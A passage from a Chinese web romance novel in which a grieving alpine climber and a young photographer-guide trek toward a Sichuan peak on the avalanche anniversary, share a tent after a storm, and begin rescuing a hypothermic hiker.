《凛冬燃雪[公路]》
1. 子夜加油站 “95,加满。”
“95,加满。”
凌晨两点,国道上时不时有大车呼啸而过,凛冽寒风卷起沙石袭来,加油站内的洗车棚被吹得刷拉拉响。
华松栩转向背风,把冲锋衣领紧了紧,带上了帽子。
“哈……”姗姗来迟的小哥扶着油枪打哈欠,水雾随之袅袅升起,“姑娘,怎么这么晚还赶路?”
华松栩目不斜视盯着油表,随口嗯了一声。
显示屏上首位数字缓缓从1涨到了2。
小哥提醒道:“山路晚上开不安全。这离四姑娘山镇不远了,出来旅游嘛,别太着急。”
华松栩瞥了他一眼,嗓音是熬夜后的喑哑,“我不是游客。”
“啊?”小哥一愣,上下打量了半天,“那你这是……”
说来不怪小哥这么想。外地牌照,一身冲锋衣裤,怎么看都像是来自驾的。
小哥也是随口一问闲聊,没冒犯或探究的意思。只是华松栩此刻心情实在欠佳,没有搭话。
女人素白的面庞冷若冰霜,精致好看,但写满了拒人千里之外几个大字。
小哥只得讪讪闭嘴,和她一起专心致志盯油表。
川西的夜晚是荒凉的。小小的加油站像被夜色包围的孤岛,连汽油味都变得温馨起来。
不多时,两束前灯先行一步,紧接着一辆车驶入,缓缓停在华松栩的车后。
她顶着光眯眼,看清是一辆挂着本地牌照的面包车,便收回了视线。
“砰!”
驾驶员下了车,“92,加300,谢谢。”
小哥冲华松栩身后比了个手势,“稍等一下。”
这辆牧马人改了副油箱,95加满得一千三百多块钱,过程是可想而知的漫长。所以稍等一下的一下,那就是五分钟。
好不容易结束,华松栩接过油卡在手里转了转,略微沉吟后还是回答了刚才的问题。
“去上坟。”
“…….啊?”
她忽视掉小哥明显放大的瞳孔和张得能塞下拳头的血盆大口,利落上车一脚油门轰了出去。
一年过去了,在这个信息爆炸的时代,曾引发圈内圈外关注的1228登山山难早已被大众遗忘。
但华松栩忘不了。
她忘不掉雪崩后的满目刺白,忘不掉消失在势不可挡的洪流中那只尚有温度的手,忘不掉全世界只留她独自喘息的死寂,更忘不掉这一年煎熬的每一分每一秒。
此刻距离事故地点车程500公里加徒步35公里,距12月28日时长22小时。
华松栩急,急到昼夜不停从海城开过来,这会全靠一口气吊着。她打了左转向,右手一摸副驾——摸到了一堆咖啡空瓶。
于是,一脸呆滞目视鲜红尾灯的小哥又目视着越野急刹、调头,直冲他开了回来。
车窗降下,华松栩冲他身后一抬下巴,“便利店还有咖啡吗?”
小哥嘴皮子打架,“有……没有,这会没有。”
华松栩蹙眉,“有还是没有?”
小哥补充:“卖完了,补货的车明早才能到。”
明早,那势必来不及。
“周围还有便利店吗?”
“这离下一个加油站有个五六十公里,其他……应该没了。”
五六十公里,国道晚上视线不好,开过去怎么都得一个小时。
华松栩轻吐浊气,压下心头的烦躁低声道谢。
小哥颇有些受宠若惊,摆摆手去给面包车加油了。
她将后脑勺砸进头枕,在心头盘算着时间和距离,良久抹了把脸,还是决定继续出发。
“噔噔——”
驾驶窗从外被敲响。
华松栩扭头,看到的是掩在黑色鸭舌帽下的半张俊脸。
牧马人车高将近一米九,方才她面对加油小哥是居高临下,这会却几乎和男人视线平齐,恰好能看到阴影中那双黑亮的眸子。
华松栩再次降下车窗,神色疏离,“有事?”
冬夜足够冷,寒风打着旋吹进车内,连带睡意一同消弭。但烦躁的情绪过于顽固,拂动面颊的发梢和突如其来的打搅都让人排斥。
男人抬手,对她的防备视若无睹。
“提神醒脑,管用。”
骨节分明的手中,是一袋——
爆辣泡椒凤爪?
华松栩面无表情,唇抿得更紧了些。
“搭配冰镇矿泉水使用,比咖啡劲大。”男人说,“看你挺累,至少一天没合眼吧?”
有人说世界上三样东西无法隐藏,贫穷、咳嗽和爱情。其实还可以增加一样,就是疲惫。
无论华松栩怎么强打精神,眼下的乌青和有些涣散的眼神骗不了人。
与此同时,还有一句至理名言。天下没有免费的午餐。
华松栩掏出烟盒,往唇齿间咬了根烟。
男人指了指上方,“加油站。”
“没点。”华松栩含糊应道,再次扫过那袋凤爪时,注意到了他皲裂的手背。细皮嫩肉的小白手,像蛇纹一样的皴痕着实瞩目。
“你留着吃吧,吃哪补哪。”
男人一哂,“你别误会,就是——”
谁曾想华松栩根本不听,毫不客气地关窗走人。
发动机轰鸣,直到车子并入主路消失在视线,他才吐出卡在嗓子眼的后半句话,“疲劳驾驶危险…….”
“滴,本次加油完成。”
男人叹气,扭头去交钱,边往过走边忍不住翻看自己的手,“像鸡爪吗?”
热心小哥瞄了一眼,严肃摇头,“不像。”
男人:“……谢谢。”
华松栩开出去一公里,点了烟猛吸两口,缓缓吐出烟圈。
远光灯破开浓稠的夜色,蜿蜒的道路上只有她一辆车前行,两旁笔挺的树木由远及近又被远远甩在身后。
要是所有痛苦都能像不断倒退的风景一样就好了,她想。
作为登山运动员,华松栩曾经天天泡在山里,不是挂在岩壁就是踏雪冲顶。这次却是时隔一年——也是山难后第一次进山,着实有些近乡情更怯。
这一年她过得浑浑噩噩。
城市里,时间的边界格外模糊,每天都在无知无觉中重复。直到某一刻回首,只看到了时间流逝后的虚无。
她回忆着,百般滋味涌上心头,直到被后视镜反射的灯光刺了眼。
来车相距不过三米,华松栩略微放慢速度,让出超车空间。
然而,来车也慢了下来。
华松栩挑眉,一脚油门加速,甩出去十几米。
再看后视镜……
好嘛,跟了上来。
华松栩一怒之下,把烟嘴咬扁了。
开着暖风容易酿出睡意,但后车的挑衅行为完美中和,这会她清醒得很。
要说车技,华松栩不敢自夸,但也是泡在藏区开野路山路练出来的。她确认这会两向都没来车,一脚油门刹车甩尾过弯,又一脚油门如利剑般冲了出去。
再看后视镜——又跟上来了。
华松栩:……车技还挺厉害。
二十分钟之内,她开快后车开快,她开慢后车开慢,始终保持不过三米的车距。两车一前一后,像是湖中你追我赶戏水的鸳鸯,暧昧得令人厌烦。
华松栩终于失去了耐心。她点刹将速度降到30,开窗探头向后看了一眼。
这一看——好嘛,是方才加油站的那辆面包车。开这样一辆破车还能跟上她,那男人还有点本事。当然,这点欣赏被邪火压倒性的掩盖了。
方才是无事献殷情非奸即盗。这会是大半夜跟车,跟独行女性的车,更是非奸即盗。
前方不远有一个停车区,
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华松栩干净利落右转进辅道,开到安全地点后猛刹停车,又从后座底下捞出甩棍,烟头一扔,气势汹汹地下车。
面包车才停稳,华松栩直接拉开车门,一手抓男人领子,另一手的甩棍迅猛横沉在颈间,“你想干什么?!”
昏暗中看不清神情,只能察觉到对方的动作。
男人任由她禁锢自己,甚至配合地举起双手,“你别紧张,我真没别的意思,就是怕你疲劳驾驶。”
华松栩冷嗤,藏不住狠戾,“和你有什么关系?你什么人?”
男人右手一动,华松栩立刻收紧了手,那棍子便直接怼上了他的喉结。
“咳咳咳……”他呛了半晌,艰难出声,“我给你拿身份证和学生证。”
华松栩沉默两秒,以绑匪语气恶狠狠威胁:“拿,老实点!”
男人很老实地从副驾捞起背包递来,“最右侧的小包,你看。”
他态度坦然,把包递过来也是为了降低她的戒心。
华松栩接过,退后三步到面包车侧前方,按照男人说的地方,果然找到了证件。
就着车灯,她看清了身份证上面的字。
徐汀云。
岸芷汀兰的汀。
26岁,京市人。
再看学生证,京大的生态学博士,今年博三。
两寸白底照片上,男生笑容清浅神采奕奕,阳光又朝气蓬勃。
华松栩不得不承认,看起来确实不像什么穷凶极恶之徒。但这并不代表嫌疑全无,谁说帅哥就不会是连环变态杀人犯?
徐汀云从车上下来站定,怕惊到她,绅士地保持着距离,“再往前二十公里开始全是盘山路,一周前下过雪,部分路段有冰。我是怕你疲劳驾驶又不熟悉路况,所以才跟你的车。”
华松栩握着甩棍的手稍松了些,将证件装进背包还了回去。
徐汀云接过,自若道:“你去哪?一会你跟着我开,这儿我熟。”
华松栩后撤半步,还存着警惕,“不用,你走吧。”
徐汀云是被拒绝又被误会,挠了挠头,再次捞出那包凤爪,“那这个你拿着,快天亮的时候最容易困。”
华松栩心想这家凤爪给了你多少代言费,如此敬业。但这会也懒得多说,拧眉催促:“不吃,别多管闲事小弟弟。”
她态度坚决,依然没给好脸色,徐汀云便没再坚持,“那你路上小心。”
华松栩嗯了一声,让到路沿上掏了根烟。
“啪——”
防风火机的火苗笔挺,随即烟尾一点猩红明灭,映在她半垂的眸子中星点璀璨。
徐汀云长腿一伸上了车,最后看了眼女人萧条落寞的侧影,驱车离开了。
果然如徐汀云所说,部分路段还有暗冰。幸好华松栩经验颇为丰富,有惊无险平安通过,赶在第二天中午抵达安县怀远村。
去年来的场景历历在目,她按照记忆找到了择木客栈。
这客栈的老板叫嘉措,老板娘央金。这里往来的也都是户外爱好者。
时隔一年,寒冬路况不好,安全起见华松栩提前联系嘉措当向导带她进山。
她停好车,顾不得四处看看村里的变化,三两步跨上石阶。
“老板在吗?”
藏式建筑红砖被积雪掩映,天地静止,幽远非常。
华松栩不自觉放轻声音,“老板?嘉措?”
拐角出现一个绛红的身影,怀里还抱着一个大纸箱。
华松栩绕过院子里那株遮挡视线的枯树,“您好,老板在——”
这一抬眸,后半句话被迫吞回肚子里。
一阵恰到好处的风吹过,枝桠颤动,白雪倾洒,如冬日落花,在暖阳折射下流光溢彩。
徐汀云着一身藏袍立于屋檐下,眉目深邃,薄唇边笑意清浅,“你找老板,他今天不在。”
2. 皮一下很开心
央金赶来时,徐汀云和华松栩正大眼瞪小眼。一个神色自若,一个面色微沉,总之是都没说话。
“华小姐吗?”
华松栩认出了女主人,点头,“我约了嘉措今天进山,他不在吗?”
央金也是一身藏袍,微红的脸颊饱含歉意,操着一口不太标准的普通话,“对不起,嘉措昨天晚上急性胃炎去县上的医院,明天才能回来。他让你先住下,多等他一天。”
华松栩一愣,旋即道:“突发情况,能理解。”
生病嘛,人之常情。然而她不自觉把指骨捏得咯嘣响,心头远没有表现得轻松。明天就是28号了,早上出发势必赶不及。
沉吟片刻,华松栩问:“除了嘉措,村里还有没有其他向导认识路?”
央金搓了搓手,“自从去年出事,村里人只带那几条熟路,像罗普峰这样的地方没人敢带了。”
华松栩立刻追问:“一个都没有?”
“没有。实在对不起,华小姐。”
希望破灭,华松栩原地踟蹰,开始盘算自己独自进山的风险系数。
央金看出了她的想法,连忙拉住她,“上周刚下了雪,路很难认的,你千万不要一个人走。”
奔波了三十多个小时,又得知这一消息,华松栩此刻身心俱疲,难掩焦躁,“老板娘,明天再出发的话真的太晚了。”
央金知道山难的情况,知道她进山的目的,也急得转圈圈,“哎,这事情……”
华松栩摁了摁眉心,强迫自己平静,“我再想想办法,不打扰了。”
她转身往外走,开始回忆去年来时有驴友落脚的人家。一家一家问过去,或许会有人愿意。
这时,央金灵光一现,“华小姐等等!等等!”
她小跑追上来,“有一个人或许能带路,但他是我们这的住客,我不太方便直接和他讲。”
华松栩抓住救命稻草,音调都高了几分,“谁?我去问!”
央金伸手一指,“就刚才站在这的小伙,他一周前走过那条路。”
华松栩欣喜加期待的笑容僵在脸上:“.……他???”
央金喜滋滋应道:“哎!就他!是个热心的好小伙,应该愿意帮忙的。”
华松栩:……确实热心。
华松栩和老板娘交谈的功夫,徐汀云不知何时抱着箱子进了屋,正往小卖部里搬东西。
她缓缓走过去,脑海里回荡着十个小时前的种种……
用甩棍劈头盖脸怼人家的时候,冷硬拒绝好意的时候,怀疑心怀不轨的时候,哪能想到会有这么一茬……
她这张老脸还真有些挂不住。
“咳,那个……”
徐汀云把一箱泡脚凤爪摆上货架,回过头来笑意吟吟,“你要去罗普峰?”
华松栩点头,“是,听说你一周前去过。”
徐汀云没说话,继续收拾着剩下的货物。
华松栩琢磨不来他的想法,又看了看他细皮嫩肉的白脸,生出些疑惑来,“你……真的能行?”
徐汀云手上动作一顿,彻底转过身来,俊脸上是浓墨重彩的无语。
华松栩立刻抿唇噤声。
好嘛,人家还没说行不行,她反倒先质疑开了。
徐汀云眸底一丝微光闪过,垂肩耸背深深感慨,“反正我就是个看着不像好人的小弟弟罢了,不相信我很正常。”
华松栩:“……那个——”
徐汀云抬手在她眼前晃,“这鸡爪子,看起来特孱弱特不靠谱,我特别理解你。”
华松栩:“……也不是——”
徐汀云黯然忧郁叹气,“你不用解释,我都懂。”
华松栩:…….
看来,这账还是要算的。
华松栩颔首,真心实意道:“……不好意思啊。”
徐汀云丰富多彩的表情一秒掩于平静如常的表皮下,又看了她一眼,没应,抱着纸箱进了里间。
人家没邀请,华松栩也不好跟进去,只能在原地等。她琢磨着徐汀云的神色,总觉得男人最后的眼神……
徐汀云刚走进屋,被方木拦路一拳。
“喂,我都听见了。你又皮?”
方木也是户外爱好者,和徐汀云一样来这住了些日子,同一间,所以还算熟悉。
徐汀云咧嘴,“多想了啊!”
方木问:“看样子你俩见过,什么情况?”
徐汀云把箱子放好,翻出户外装备换衣服,边换边把凌晨的事情讲了一遍。
方木哈哈大笑,“不是,你也太热心了吧!老实交代,你是不是看人家长得好看,才这么贴心?”
“我是那样的人吗?”
“你不是吗?”
徐汀云想了想,“我想帮她,确实因为是个女孩。”
方木拍桌子,“你看,这还不是心怀不轨?”
徐汀云捞起登山杖作势要揍他,“说什么呢?我是想到我女神了好嘛!她一姑娘半夜奔波进山,多不容易。”
方木立刻举手投降,“行行行,你那退圈的自由攀女神。为了个长啥样都不知道的女神又是休学又是上山下海,现在还爱屋及乌帮助孤身女性,至于吗你!”
徐汀云坦然,“至于,你、不、懂!”
华松栩可不知道徐汀云只是嘴上皮,以为他真不愿意去,琢磨了老半天终于想到了办法。
不搞弯弯绕绕,那就简单粗暴。
“吱呀——”
雕着经文和莲花的藏式木门从内推开。
华松栩嗖得伸手,一踏红票瞩目,“你给我带路,两天来回,费用五千。”
徐汀云背着48L的徒步包手里捞着登山杖,还艰难地卡在门缝,被吓了一跳。
华松栩见他还不说话,从兜里抽出一千,谨慎加价,“六千?”
徐汀云:“那个……”
华松栩又抽了一千,“七千?”
徐汀云:“不是……”
华松栩心说要多少还不直接说,一男人婆婆妈妈的,直接抽出一踏摔在手心。
“一万!”
“别别别。”徐汀云哐叽一声把自己拔了出来,连滚带爬站定,“去,现在就去!”
华松栩一看他的打扮,便知道方才这家伙是嘴上不答应揶揄她。谁说男生没有报复心?
但这大冷天愿意帮忙,该给的还是要给。
她松了口气,将钱递过去,“拿着吧,咱们出发。”
最后徐汀云没收这钱,好说歹说定下下山后再给报酬,万一货不对板还有砍价的余地。华松栩想想也是,答应了。
她带着徐汀云到停车的地方,开始从车上卸装备。
随着徒步逐渐普及,人人都能拿杖戴墨镜拍网红照,但这无法掩盖户外运动的危险系数。
高原反应,失温,极端天气,滑坠,自然灾害……挑战数不胜数,需要拥有充分的户外知识、可靠的体力及合适的装备面对未知。
她收拾东西的时间,徐汀云绕车走了两圈,拍了拍前引擎盖,感慨,“改装的牧马人就是帅,经常进山吗?”
华松栩正检查救援包里的药物,“以前。”
徐汀云唔了一声,继续绕车走圈圈。华松栩被晃得眼晕,几次想制止又强行忍下了。
莫烦躁莫烦躁,别忘了小伙是个热心肠。
徐汀云问:“油耗怎么样?”
华松栩一手提暖壶一手灌0.9L的montbell保温杯,“平均下来百公里11左右。”
徐汀云又问:“手自一体?”
华松栩拉上背包拉链,“嗯。”
徐汀云还问:“听说牧马人会漏雨——”
华松栩忍无可忍启唇打断:“你装备带齐了吗?”
徐汀云停下规律的圆周运动,乖乖地答:“带齐了。”
虽然雇了他认路,但华松栩对他的生存能力和户外经验存疑,拧眉继续问:“营地羽绒带了吗?睡袋温标多少?水和食物呢?”
徐汀云立定站好,“高山羽绒190g充绒1000蓬,睡袋黑冰G1300加一个抓绒内胆,保温杯750ml热水、两瓶可乐两瓶矿泉水,吃的带了五包干脆面和几包复合糖。”
华松栩点头,再次问:“应急物品带了哪些?”
徐汀云像是一秒被拉回课堂。那会他就是问题学生,上课不是睡觉就是抠纸团传纸条。但无论怎么折腾,被老师叫起来提问都能对答如流,逼得老师变着花样考他。
他保持着这一优良传统认真作答:“雨衣,救生毯,急救包里有一些药品和绷带。”
华松栩没挑出什么毛病来,锁上车门上了登山包,根据重量把肩带调好,“走吧。”
徐汀云迈开长腿跟上,还多答了个附加题,“我还带了冰镐机械塞绳索保护器——”
这些都是阿式攀登的装备,华松栩熟得不能再熟。她头都没回,“还没学会走就想跑,背着徒增负重。”
徐汀云:“……”
他追上那飒爽利落的背影,“你怎么知道?”
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这会还走在乡道上,积雪被村民推到两边,比较好走。
华松栩一手抓着两根黑钻的登山杖,脚下步速极快,“手掌比泡椒凤爪都细嫩,茧子一个没有,一看就连攀岩攀冰都不会。”
雪山攀登分为两种,喜马拉雅式攀登和阿尔卑斯式攀登。
前者顾名思义,类似爬珠峰的模式,由攀登者、协作、领队、背夫等多人组成团队,攀登周期长、营地多,通过不断铺设路绳稳扎稳打。这也是商业团队的运作模式。
而阿式攀登相反,攀登者没有氧气瓶没有固定绳索没有后勤人员,只能自给自足,凭借自身技巧攀爬。快速、自主、轻量化,危险系数极高。
阿式攀登者需要精通攀岩、攀冰、干攀、雪坡行走等技能,野外急救、裂缝救援、雪崩救援等也是必备知识。
徐汀云眼睛一亮,“行家呀,你也喜欢阿式攀登?”
喜欢。
这两个字震耳欲聋,华松栩不知从何做答,也不想答。
曾经阿式攀登是她的热爱,是她逃离现实的乌托邦,也是为之奋斗的意义。如今,她却连想都不敢想。
徐汀云和她保持匹配的步速,耐心等待她的回答。
因此,当华松栩偏头去看左手边雪坡的路况时,看到的是男孩锋利流畅的下颌线和唇角边一闪而过的梨涡。
朝气蓬勃,阳光明媚,眼里的光如冬日暖阳。
不像她,一脸半死不活的模样,枯涸,黯淡。
她像被刺到一样收回视线,叹了口气,“给你加一千块钱——”
徐汀羽:“不用——”
华松栩加重语气,“只要你把嘴闭上。”
徐汀云:“……遵命。”
男孩虽然皮,但胜在听话。这么一说,还真乖乖禁言。
两人在沉默中一前一后走着,从晌午走到日落。
冰爪齿陷入酥软的积雪咯吱作响,爬升时冷空气卷过每一寸裸露的肌肤,最终从鼻腔流淌入肺部,有种微刺的清爽感。
四下里寂静无声,旷野雪景绵延不绝。这里荒芜人烟,这里野蛮残酷,然而这里又是那么富饶。
在这里,凛冽的风洗涤去城市里沾染的灰尘和思绪,危险路段的高度紧张让人心无旁骛,广袤天地之壮阔是辛勤攀登后的褒奖,前行的每一步都是对灵魂的问答。
这一年华松栩也有运动,但毕竟不比从前的强度,配速中等还算轻松。倒是徐汀云让人刮目相看。
7个小时走了25km爬升1500m,徐汀云一路匀速步履稳健,部分陡坡横切路段冰雪覆盖且只有一只脚宽,他也走得极为轻松。
不仅如此,他时不时掏出相机去拍远山美景、拍路边枯萎的灌木丛,或是拍雪线之上嶙峋的岩石,偶尔——也拍拍她。
华松栩留意到镜头的朝向,不过一直到抵达扎营地点后才开口说了整整一下午第一句话。
“把拍到我的照片删了。”
接触一日,徐汀云摸到点她的脾气。他卸掉背包,掏出挚爱的干脆面开始手动捏碎,“等下山发你,发完就删。”
华松栩则掏卡式炉开始烹饪,“不需要。”
徐汀云三两口就吃掉一包,又去掏软糖,“你出一万一的费用,光带路多不值,起码得有点附加服务。”
华松栩不为所动,“拍两张照片能顶多钱?”
徐汀云想了想,“按照平时的稿费来算……一张也就一千左右吧。”
华松栩缓缓挑起右边眉毛。
徐汀云露齿一笑,“在下不才,正是《旷野》的签约高山摄影师。”
《旷野》,以风格先锋多变为卖点,如今已是涵盖户外运动、自然景观、生态保护等多元化主题的知名杂志,编辑眼光毒辣挑剔。
能签约,充分说明个人能力。
铝锅内的米饭油脂肉沫蔬菜充分结合,飘起的水汽里都是美味的芬芳。
华松栩掀开锅盖,随口问:“两张两千,我和嘉措约好的向导费是两千,还有七千你用什么服务来顶?”
徐汀云吸吸鼻子,手里的干脆面霎时不香了。
吃货对美食的抵抗力为负,他目不转睛盯着煲仔饭,大脑运转速度严重受阻,嘴上倒还保持惯性地跑火车,“其他我也没什么本事,只剩下肉/体了吧。”
华松栩握勺子的手停住,在咫尺饭香中缓缓抬眸。
徐汀云倏然回神才意识到自己说了什么,在零下五度的高海拔地区竟然红温了,“不、不是,我我——”
“肉、体?”
3. 风的形状
徐汀云嗖得窜到华松栩旁边,双手合十眼睛瞪得像铜铃以此展示本人的纯洁无辜,“我真不是这个意思,我不是变态,我不卖色相!!!”
一人高马大的男孩,这会蹲在华松栩面前狗狗眼,急得就差把心剖出来看看了。
二人对视,华松栩面无表情三秒后,终于忍不住笑了出来。
这一笑如云销雨霁,原本冻结的五官舒展,杏眸弯起如落日归海波光粼粼,少了些生人勿进的冰冷,多了些落落大方的风情。
见状,徐汀云更红温了。
他总觉得华松栩的笑容里多了些调侃或是......调戏的感觉,这会恨不得扇自己的死嘴两巴掌。
“你听我说,肉/体的意思是器官,你懂?卖器官,卖肾卖眼珠子这种!”
华松栩不置可否,挪了个岩石坐定开始吃晚饭。
运动过后吃什么都香,在寒冷的地方吃热腾腾的饭更是叠buff,她忽视掉某人的魔音贯耳,专心致志填饱了肚子。
按理来说应该先扎营在做饭,可实在是太饿了,加上天气还不错所以颠倒了顺序。
老天也倍给面,一直等她吃完才长长打了个喷嚏,寒风乍起,卷起的雪沫如海水拍打岩壁溅起朵朵浪花。
华松栩放下勺子和锅,冲还在脚趾抠地的徐汀云打了个响指,“扎营。”
徐汀云起身,望向西边的天空,“不好,要下雪。”
“昨天看moutain-forecast的云图还好,先扎营。如果天气恶化,天一亮你就下撤。
“光我下撤?”
华松栩从背包里掏帐篷,“看情况吧。”
徐汀云紧跟其后,“你下撤我就下撤,你不下我也不下。这是向导的基本素养。”
挺有团队意识,也挺有勇气。
华松栩落在针织帽外的发丝狂舞,急忙拉上防风面罩,“再往前走海拔高路况差,你会滑坠制动吗?别脚下打滑,还得我救你这个向导。”
风一大说话全靠吼,徐汀云扯着嗓子说:“会一点但不多,我可以学!我学东西很快!”
“我没空教你!”
“我如果说不要你的向导费,你能教我不?”
华松栩手下动作快,三两下搭起内帐,毫不犹豫道:“不能,你出卖肉/体都不够我的出场费!”
说出尴尬到脚趾抠地的话不可怕,毕竟人生很长,总会过去,也总会忘记。可怕的是有人在你快要忘记时不断提醒你。
才从尴尬中缓过来,经她这么一提,又是一股羞耻感直冲天灵盖。徐汀云双手抱头,“求求你了,就让肉/体这两个字随风去吧!!!”
华松栩瞥了他一眼,还想继续调侃,却神色突变,“喂——帐篷!!!”
或许是缺氧令徐汀云的脑子不正常,或许是过于羞耻令徐汀云的脑子不正常,或许是徐汀云本身脑子就不正常。
总之,在他脑子不正常选择松手去抱头的一刻,帐篷失去了狂风中唯一的压力。
那明黄色的外帐,它——
飞、走、了!
风究竟是什么形状?
有人说是春日漫天飞絮,有人说是深秋缤纷落叶,有人说是寒冬腊月的雪。
要徐汀云说,风的形状就是一会舒展一会折叠、一会被拧成一条曲线的外帐。你看那弯弯的弧度,像不像嘲讽的笑容?
要华松栩说,风的形状就是此刻徐汀云抽搐的嘴角,写满了清澈的愚蠢。
高山帐篷分为内帐和外帐两部分。外帐的功效是防风防水。内帐纱网设计,功效是通风换气,避免内外温差过大形成水汽凝结。
由此可知,在没有外帐的情况下睡在的高原,等于自杀。
华松栩红唇翕张,“随、风、去、吧?”
徐汀云:……………………
半小时后,两个相识不过24小时的人一起躺在华松栩的单人帐里,肩并肩,手挨手。
风声如哨,帐篷骨架震动摇摆,外帐顶风那一面被吹得快要和内帐贴在一起。他们像躺在一座低配版诺亚方舟内,在静默中迎接狂风暴雪的来临。
再想到身边的人……
华松栩脱掉硬壳和羽绒缩在睡袋里,盯着帐篷顶暗自感慨:这世界真荒谬,荒谬到了极点。
不多会,她幽幽道:“你是条虫吗?能不能别蛄蛹了?”
正在拼命往边缩的徐汀云静默了,然后说:“抱歉。”
这顶单人帐空间并不小,通常华松栩一个人睡一边,另一侧还能摆开背包衣服等一系列物品。但此刻多了个至少185的男人,空间一下就逼仄了起来。
是隔着睡袋没错,但隔着睡袋挨着人家姑娘也不妥。徐汀云那是躲了又躲,恨不得半个身子探出内帐。
华松栩叹了口气,任他折腾自己平展躺下,颇有些安之若素准备入睡的坦然。
徐汀云憋了一会,没忍住问:“你就不怕我图谋不轨?”
华松栩睁眼,“这会体感至少零下15度,你要愿意脱裤子,我反倒敬你是条好汉。”
徐汀云:…………
又过了好一会,徐汀云咬牙问:“那你就不怕我浮想联翩?”
华松栩闭眼,“吃过荤才有想象的素材,小弟弟。”
徐汀云:…………靠!
怎么就被看得透透?
他无从反驳,只得走另一条路挽尊,“你有多大,怎么老叫我小弟弟?”
“我都快三十了,小、弟、弟。”
“不就三四岁吗?同龄人好不好?”
“我23岁的时候婆缪峰都爬了三回,你现在26才哪到哪?”
婆缪峰,坐落川西长坪沟,海拔5413米,经典技术山峰,民间称之为中国最尖山峰。
需要攀爬巨大的花岗岩岩体,路线长、爬升高,天气多变增加了难度。
徐汀云小小声:“……就爬过哈巴、岗什卡和那玛峰。”
全是商业攀登的基础入门雪山。
徐汀云想了想,问:“自由扶梯?”
华松栩笑了,“看来没说谎。”
——是真喜欢阿式攀登。
自由扶梯,2005年国人首登,由刘喜男和邱江开创,至今还是登婆谬峰的最常用路线。
“怎么爬了三次?”
在这没有
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信号的昏暗中,能做的只有聊天。也正是这样的氛围,华松栩难得多说了几句,“第一次爬到海拔四千出头下暴雨,太滑。第二次石头滑落砸断了路绳,安全起见下撤。第三次才顺利登顶。”
“失敬,原来是大佬。”
“一般,也就比你强一点。”
“……那敢问大佬,为什么跑来走罗普峰这样easy的线路?”
“我不是来走徒步线的,是来踩点爬罗普峰的。”
徐汀云目瞪口呆:“寒冬腊月根本不是窗口期,你开玩笑的吧?”
雪山攀登天气可太重要了,硬上等于送命。
黑暗中,华松栩倏然睁眼,冷声道:“知道开玩笑就别问。”
“……遵命。”
良久,她寻了个舒服的姿势,“不早了,明天天亮就动身。休息吧。”
徐汀云说:“好,要是你起夜害怕的话喊我。”
华松栩说:“想太多容易痴呆。”
“……晚安。”
来高海拔地区或多或少都有点反应,最严重肺水肿脑水肿危及生命,个别没一点感觉,而大多数人会出现头疼睡不着觉的轻微症状。
还好两人适应能力不错,很快就进入了深度睡眠。
华松栩是被徐汀云穿衣服的声音吵醒的。她仰头,刚想嘱咐一句起夜别走太远,神色却是一变。
不知何时风雪已停,本该是万籁俱寂的凌晨,却多了些不容忽视的动静。
难道是——熊?
徐汀云察觉华松栩坐起来,扭头比了个嘘的手势。
寒光闪过,匕首出鞘。他弓腰从她腿部跨了过去,面朝声音传来的方向缓缓蹲下,反手将她护在了身后。
黑暗中,华松栩只能看到徐汀云凌厉警戒的侧颜,感受到手臂紧绷隆起的肌肉,听到刻意放缓的呼吸。
那声音似重物拖拽,又似动物的脚步,毫无规律,难以辨别。
随着声音来源不断靠近,徐汀云整个上半身如一道蓄力的弯弓紧绷,护着华松栩的手更是直接抓住了她的手臂以示安抚。
华松栩不是坐以待毙的人。她从充气枕侧捞出甩棍,从坐姿缓缓起身,一膝着地,半跪在徐汀云的旁边。
人类最大的恐惧来源于未知。
如果真是熊,就凭一把匕首和一根甩棍去搏斗,他俩今天非死即残。
这时。
“滋拉——”
随后是悉悉索索的拖行声。
徐汀云回头和她对视,彼此都疑惑不解。
到底是什么声音?
“滋拉——”
又是一声。
华松栩灵光闪过,忽然明白了情况。
那是衣服拉链快速拉开的声音!
“不好,是人!反常脱衣!”
华松栩立刻拉开内帐想出去查看情况,却被徐汀云一把攥住手腕。
随着两人的动作,帐篷顶的雪刷啦啦滑下,飞起的雪沫穿过缝隙扑面而来,寒意随之浸入骨髓,令华松栩一个瑟缩。
腕部的温度和力道不容忽视。徐汀云嗓音沉稳,“我去。你穿好衣服,拿好武器,别出来。”
4. 携手救人
咱华姐出来混将近十年,只跟自己的计划走。虽然在紧张刺激甚至有生命危险的此刻,徐汀云的表现堪称有勇有谋有担当雄性气概爆棚,但华松栩只选择性的听了一半。
她匆忙穿好羽绒套上硬壳冲锋衣钻出帐篷,手里头灯照射范围顺着雪地上唯一的一串脚印不断向前延展,至右侧雪坡地段有一串杂乱无章的痕迹汇入,最终到悬崖边那一片嶙峋凸起的岩石停下。
徐汀云正背对着她蹲下,似乎在检查什么。
华松栩眉心一蹙,“什么情况?”
“驴友,失温!”
猜测得到印证,她拔腿就往过跑。不过没等赶到,徐汀云竟直接一手抓胳膊一手抓膝盖,像麻袋一样把人扛在了肩上。
“情况不好,进帐篷!”
那动作之迅猛大力,那两条长腿奔跑的速度之快,那驴友失去意识的身躯之颠簸,看得华松栩眼尾直跳,“轻点,失温情况下人很脆弱!”
徐汀云咬牙:“知道,快把外帐拉开!”
330流明的户外头灯在混乱中摇晃着,光晕在垂直的圆形和斜向的椭圆中无规律变换,时而在尼龙外帐拖过冷白色的残影,直到挂在帐篷顶端后才稍作安静下来。
就着光源,华松栩终于看清了驴友的情况。
男人,看样子不过30岁,面色青白基本失去意识。上身只脱得剩下速干层,羊毛帽也挂在脑门上摇摇欲坠。
徐汀云摁住男人颈侧,脸色沉了下去,“很微弱。”
华松栩迅速将披散的长发束起,镇定指挥:“把他上半身扶起来。”
徐汀云第一时间先把男人的胳膊从衣服袖子中拽出来,这才按照华松栩所说撑起了他的上半身。
华松栩默契接手,先脱上衣,再扒裤子,悉悉嗦嗦不过片刻就把人扒干净,顺手将湿衣服扔在内外帐之间。
徐汀云轻轻将人放回,抽出睡袋里的抓绒内胆盖在他身上,一面保暖一面吸去剩余的水分,“去我的包主仓里找橙色的防水袋,里面有备用的速干层。”
失温,户外一大杀手。
当大幅出汗从贴深层开始向外浸湿,又或是出现极端天气雨雪从外向内侵略,湿衣服导致热量传导速度大幅提升,如果没有及时采取措施,就会产生失温。
轻度表现为颤抖、心率高、排尿增加。中度颤抖减少或忽然消失,思维麻木、视觉障碍甚至反常脱衣。重度便是最严重的情况,昏迷、神经反射消失甚至肌肉僵硬死亡。
按照华松栩的经验判断,眼前驴友应该处于中度划向重度的临界点。
